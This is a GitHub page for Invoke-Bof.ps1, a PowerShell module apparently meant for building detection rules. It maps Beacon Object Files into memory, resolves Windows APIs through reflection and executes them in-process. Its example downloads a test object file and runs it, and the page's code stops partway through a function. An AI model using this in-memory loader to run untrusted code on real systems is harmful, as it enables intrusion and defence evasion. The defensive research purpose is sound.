-
Notifications
You must be signed in to change notification settings - Fork 34
/
Invoke-Bof.ps1
1472 lines (1198 loc) · 70.2 KB
/
Invoke-Bof.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
function Invoke-Bof {
<#
.SYNOPSIS
This is a module used to test offensive BOFs to create better detection rules.
As many offensive developers publish many BOFs directly on GitHub, this module
can simplify writing unit tests for detection rules.
This script will load the BOF file (aka COFF file) into memory, map all sections,
perform relocation, serialize beacon parameters, and jump into the entry point
selected by the user.
Many technics or functions are directly inspired by PowerSploit offensive scripts.
Author: citronneur, Twitter: @citronneur
License: Apache License 2.0
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Load and execute Beacon Object file into the current powershell process.
.PARAMETER BOFBytes
A byte array containing the beacon object file to load and execute.
.PARAMETER EntryPoint
Name of the function exported to execute in the beacon object file.
.PARAMETER ArgumentList
List of arguments that will be passed to the beacon, available through BeaconParse API.
.PARAMETER UnicodeStringParameter
All string parameter in ArgumentList will be converted into Unicode.
.EXAMPLE
$BOFBytes = (Invoke-WebRequest -Uri "https://github.com/airbus-cert/Invoke-BOF/raw/main/test/test_invoke_bof.x64.o").Content
Invoke-Bof -BOFBytes $BOFBytes -EntryPoint go -ArgumentList "foo",5
#>
Param(
[Parameter(Mandatory = $true, ParameterSetName = 'Path')]
[ValidateNotNullOrEmpty()]
[Byte[]]
$BOFBytes,
[Parameter(Mandatory = $true)]
[string]
$EntryPoint,
[Parameter(Mandatory = $false)]
[System.Object[]]
$ArgumentList,
[Parameter(Mandatory = $false)]
[Switch]
$UnicodeStringParameter
)
###################################
########## Tools Stuff ##########
###################################
# Basic function to test admin rights
# Use for Beacon API
Function Test-IsAdmin
{
$user = [Security.Principal.WindowsIdentity]::GetCurrent();
(New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
}
###################################
####### Arithmetic Stuff ########
###################################
#Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
#This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
Function Sub-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
$Val = $Value1Bytes[$i] - $CarryOver
#Sub bytes
if ($Val -lt $Value2Bytes[$i])
{
$Val += 256
$CarryOver = 1
}
else
{
$CarryOver = 0
}
[UInt16]$Sum = $Val - $Value2Bytes[$i]
$FinalBytes[$i] = $Sum -band 0x00FF
}
}
else
{
Throw "Cannot subtract bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Add-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
#Add bytes
[UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
$FinalBytes[$i] = $Sum -band 0x00FF
if (($Sum -band 0xFF00) -eq 0x100)
{
$CarryOver = 1
}
else
{
$CarryOver = 0
}
}
}
else
{
Throw "Cannot add bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
###################################
########## Win32 Stuff ##########
###################################
Function Get-Win32Types
{
$Win32Types = New-Object System.Object
#Define all the structures/enums that will be used
# This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
$Domain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
########### STRUCT ###########
#Struct IMAGE_FILE_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
$IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
#Struct IMAGE_SECTION_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
$nameField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
#Struct COFF_RELOCATION
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('COFF_RELOCATION', $Attributes, [System.ValueType], 10)
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SymbolTableIndex', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Type', [UInt16], 'Public') | Out-Null
$COFF_RELOCATION = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name COFF_RELOCATION -Value $COFF_RELOCATION
#Struct COFF_SYMBOL
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('COFF_SYMBOL', $Attributes, [System.ValueType], 18)
$TypeBuilder.DefineField('Value1', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Value2', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Value3', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SectionNumber', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Type', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('StorageClass', [Byte], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfAuxSymbols', [Byte], 'Public') | Out-Null
$COFF_SYMBOL = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name COFF_SYMBOL -Value $COFF_SYMBOL
#Struct COFF_SYMBOL_NAMED
#There is no equivalent of union
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('COFF_SYMBOL_NAMED', $Attributes, [System.ValueType], 18)
$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
$nameField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('Value', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SectionNumber', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Type', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('StorageClass', [Byte], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfAuxSymbols', [Byte], 'Public') | Out-Null
$COFF_SYMBOL_NAMED = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name COFF_SYMBOL_NAMED -Value $COFF_SYMBOL_NAMED
return $Win32Types
}
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
function Get-ProcAddress
{
param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
# Use reflection to get pointer on interesting WinAPI
Function Get-Win32Functions
{
$Win32Functions = New-Object System.Object
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
$GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself
$GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
$GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
$SetThreadTokenAddr = Get-ProcAddress Advapi32.dll SetThreadToken
$SetThreadTokenDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [IntPtr]) ([Bool])
$SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name SetThreadToken -Value $SetThreadToken
return $Win32Functions
}
# Only keep interesting constant for linked API
Function Get-Win32Constants
{
$Win32Constants = New-Object System.Object
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_AMD64_ADDR64 -Value 0x1
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_AMD64_ADDR32NB -Value 0x3
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_AMD64_REL32 -Value 0x4
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SYM_CLASS_EXTERNAL -Value 0x2
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SYM_CLASS_STATIC -Value 0x3
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SYM_CLASS_LABEL -Value 0x6
return $Win32Constants
}
######################
## Beacon API stuff ##
######################
Function Get-BeaconTypes
{
$BeaconTypes = New-Object System.Object
$Domain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
#Struct datap Beacon Parser
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('datap', $Attributes, [System.ValueType], 24)
$TypeBuilder.DefineField('original', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('buffer', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('length', [int], 'Public') | Out-Null
$TypeBuilder.DefineField('size', [int], 'Public') | Out-Null
$datap = $TypeBuilder.CreateType()
$BeaconTypes | Add-Member -MemberType NoteProperty -Name datap -Value $datap
#Struct formatp for beacon format
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('formatp', $Attributes, [System.ValueType], 24)
$TypeBuilder.DefineField('original', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('buffer', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('length', [int], 'Public') | Out-Null
$TypeBuilder.DefineField('size', [int], 'Public') | Out-Null
$formatp = $TypeBuilder.CreateType()
$BeaconTypes | Add-Member -MemberType NoteProperty -Name formatp -Value $formatp
return $BeaconTypes
}
# Build Beacon API function that will be used
# to resolve external ref on beacon
Function Get-BeaconAPI
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$BeaconTypes,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions
)
$script:BeaconTypes = $BeaconTypes
$script:Win32Functions = $Win32Functions
class BeaconAPI {
############################
# Data Parser API #
############################
# BeaconDataParse
# $Parser must be initialized by the caller it's an unmanaged pointer to struct datap
# $Buffer pointer generally get from entry point
# $Size Size of $Buffer
static [void] BeaconDataParse([IntPtr] $Parser, [IntPtr] $Buffer, [int] $Size)
{
$ParserObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Parser, [Type]$script:BeaconTypes.datap)
$ParserObject.original = $Buffer
$ParserObject.buffer = $Buffer
$ParserObject.size = $Size
$ParserObject.length = 0
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ParserObject, $Parser, $false)
}
# Extract next data from the parser
# $Parser must be initialized by the caller it's an unmanaged pointer to struct datap
# $Size size of the output pointer
# return pointer to an unmanaged memory region that is the next arguments
static [IntPtr] BeaconDataExtractPrivate([IntPtr] $Parser, [ref]$Size)
{
$ParserObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Parser, [Type]$script:BeaconTypes.datap)
if($ParserObject.length -eq $ParserObject.size)
{
Write-Host "[!] Beacon asked more parameter than expected !!!"
return [IntPtr]::Zero
}
# read Length
$ArgumentsHeader = New-Object Byte[] 4
[IntPtr]$ArgumentsHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$ParserObject.buffer) ($ParserObject.length))
[IntPtr]$ArgumentsBodyPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$ParserObject.buffer) ($ParserObject.length + 4))
[System.Runtime.InteropServices.Marshal]::Copy([IntPtr]$ArgumentsHeaderPtr, $ArgumentsHeader, 0, 4)
$ArgumentLength = [System.BitConverter]::ToInt32($ArgumentsHeader, 0)
$Size.Value = $ArgumentLength
$ParserObject.length += 4 + $ArgumentLength
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ParserObject, $Parser, $false)
return $ArgumentsBodyPtr
}
# Extract next data from the parser
# This function is exposed to BeaconAPI
# $Parser must be initialized by the caller it's an unmanaged pointer to struct datap
# $Size size of the output pointer
# return pointer to an unmanaged memory region that is the next arguments
static [IntPtr] BeaconDataExtract([IntPtr] $Parser, [IntPtr]$Size)
{
$SizeRef = New-Object Int32
$Result = [BeaconAPI]::BeaconDataExtractPrivate($Parser, [ref]$SizeRef)
if ($Size -ne [IntPtr]::Zero)
{
[System.Runtime.InteropServices.Marshal]::Copy(@($SizeRef), 0, $Size, 1)
}
return $Result
}
# Parse next parameter as a 4 bytes integer
# $Parser must be initialized by the caller it's an unmanaged pointer to struct datap
# return integer or zero if parser can't parse anything
static [int] BeaconDataInt([IntPtr] $Parser)
{
$SizeRef = New-Object Int32
$IntPtr = [BeaconAPI]::BeaconDataExtractPrivate($Parser, [ref]$SizeRef)
if (($IntPtr -eq [IntPtr]::Zero) -or ($SizeRef -ne 4))
{
Write-Host "[!] Invalid parameter, expected int and have parameter of size" $SizeRef
return 0
}
$IntBytes = New-Object Byte[] 4
[System.Runtime.InteropServices.Marshal]::Copy([IntPtr]$IntPtr, $IntBytes, 0, 4)
return [System.BitConverter]::ToInt32($IntBytes, 0)
}
# Parse next parameter as a 2 bytes integer
# As in powershell everything is integer, we always use integer and downcast it after
# $Parser must be initialized by the caller it's an unmanaged pointer to struct datap
# return integer or zero if parser can't parse anything
static [int16] BeaconDataShort([IntPtr] $Parser)
{
return [int16][BeaconAPI]::BeaconDataInt($Parser)
}
# Return the current length of the data buffer
static [int] BeaconDataLength([IntPtr] $Parser)
{
$ParserObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Parser, [Type]$script:BeaconTypes.datap)
return $ParserObject.length
}
############################
# Format API #
############################
# Allocate buffer for the format buffer
static [void] BeaconFormatAlloc([IntPtr] $Format, [int] $Size)
{
$FormatObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Format, [Type]$script:BeaconTypes.formatp)
$FormatObject.original = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size)
$FormatObject.buffer = $FormatObject.original
$FormatObject.size = $Size
$FormatObject.length = 0
[System.Runtime.InteropServices.Marshal]::StructureToPtr($FormatObject, $Format, $false)
}
# Free internal un managed memory
static [void] BeaconFormatFree([IntPtr] $Format)
{
$FormatObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Format, [Type]$script:BeaconTypes.formatp)
